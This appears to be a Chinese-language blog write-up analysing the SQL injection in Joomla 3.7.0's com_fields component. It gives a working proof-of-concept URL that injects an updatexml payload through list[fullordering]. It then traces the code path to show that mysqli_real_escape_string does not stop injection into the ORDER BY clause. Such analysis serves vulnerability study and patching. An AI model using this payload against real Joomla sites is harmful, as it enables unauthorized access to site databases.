Joomla!3.7.0 Core SQL注入漏洞.

POC

这次干脆先放出poc吧。

http://localhost:2500/Joomla370/index.php?
option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x3e,database()),0)

这次根据参数的传入流程来进行分析。

漏洞

危害组件

3.7.0版本中出现了com_field组件,无需授权即可访问。查看...\components\com_fields\controller.php,在第27行左右,其相关代码如下:

public function __construct($config = array())
    {
        $this->input = JFactory::getApplication()->input;

        // Frontpage Editor Fields Button proxying:
        if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
        {
            // Load the backend language file.
            $lang = JFactory::getLanguage();
            $lang->load('com_fields', JPATH_ADMINISTRATOR);

            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }

        parent::__construct($config);
    }

可以看到它先判断通过view是否等于fields,layout是否等于modal,而这两个参数都是我们可控的。若满足则将会加载JPATH_ADMINISTRATOR中的com_fields组件,并且将base_path设置为 JPATH_COMPONENT_ADMINISTRATOR,之后调用父类的构造方法。

传入sql语句

在调用父类构造方法后,一路运行到...\Joomla370\libraries\legacy\controller\legacy.php中,约莫707行,这时会通过$this->$doTask调用display()函数。

跟进display()函数,它位于 ...\Joomla370\libraries\legacy\controller\legacy.php,接着运行至legacy.php的约莫671行左右,调用了视图(view)的display()函数。我们跟进一下,跳转进入...\Joomla370\administrator\components\com_fields\views\fields\view.html.php

此时运行到,下面这条语句,给get()传入的参数为State

$this->state         = $this->get('State');

我们跟进这个get()函数,一直运行到422行,

之后将会调用 getState(),跟进,进入...\Joomla370\libraries\legacy\model\legacy.php

之后会调用filedsModel类中的populateState(),跟进后会发现调用其父类的populateState()函数,其定义在 ...\Joomla370\libraries\legacy\model\list.php中,约莫在第495行,相关代码如下:

..省略..

if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))

..省略..

这里我们先跟进一下getUserStateFromRequest(),它的定义在...\Joomla370\libraries\cms\application\cms.php中,在该函数结束后,它获取了我们通过get方法传入的参数,也就是说,我们成功的控制了fullordering的值。

在该函数运行完后,流程将会回到前面的那个定义在...\Joomla370\libraries\cms\application\cms.php中的populateState()函数。此时运行的代码如下:

    foreach ($list as $name => $value)
    {
        // Exclude if blacklisted
        if (!in_array($name, $this->listBlacklist))
        {
            // Extra validations
            switch ($name){...}
            $this->setState('list.' . $name, $value);
        }
    }

如果数组的key不在黑名单(blacklisted)中,将会为$list变量根据相应的State进行注册,在这部分函数运行到结束部分,可以看见成功的控制了list数组的fullordering的值。

查看变量,如下:

注入过程

接下来继续运行,一直运行回到Joomla370\administrator\components\com_fields\views\fields\view.html.php中的display()函数中。

跟进这一行 $this->get('Items');,进入...\Joomla370\libraries\legacy\view\legacy.php,约莫在422行,这里的行为跟前面分析类似,此后将会调用getitem()

继续跟进,进入...\Joomla370\libraries\legacy\model\list.php,约莫在186行:

try
    {
        // Load the list items and add the items to the internal cache.
        $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
    }

通过_getList调用了_getListQuery,继续跟进,进入...\Joomla370\libraries\legacy\model\list.php,约莫在 132行,

if ($lastStoreId != $currentStoreId || empty($this->query))
{
    $lastStoreId = $currentStoreId;
    $this->query = $this->getListQuery();
}

调用了 getListQuery(),继续跟进,进入 ...\Joomla370\administrator\components\com_fields\models\fields.php,一直运行到约莫在 305 行,调用getState方法,传入list.fullordering参数。相关代码如下:

查看变量表:

之后在第314行,将$listOrdering带入查询,相关代码如下:

$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

在进行$query->order之前,会先进行一次过滤,跟进$db->escape,进入...\Joomla370\libraries\joomla\database\driver\mysqli.php,约莫242行,相关代码如下:

public function escape($text, $extra = false)
    {
        $this->connect();

        $result = mysqli_real_escape_string($this->getConnection(), $text);

        if ($extra)
        {
            $result = addcslashes($result, '%_');
        }

        return $result;
    }

对于传入的$text通过mysqli_real_escape_string()进行过滤,只转义了一些字符。因此可以通过构造进行成功的注入。

成功注入

results matching ""

    No results matching ""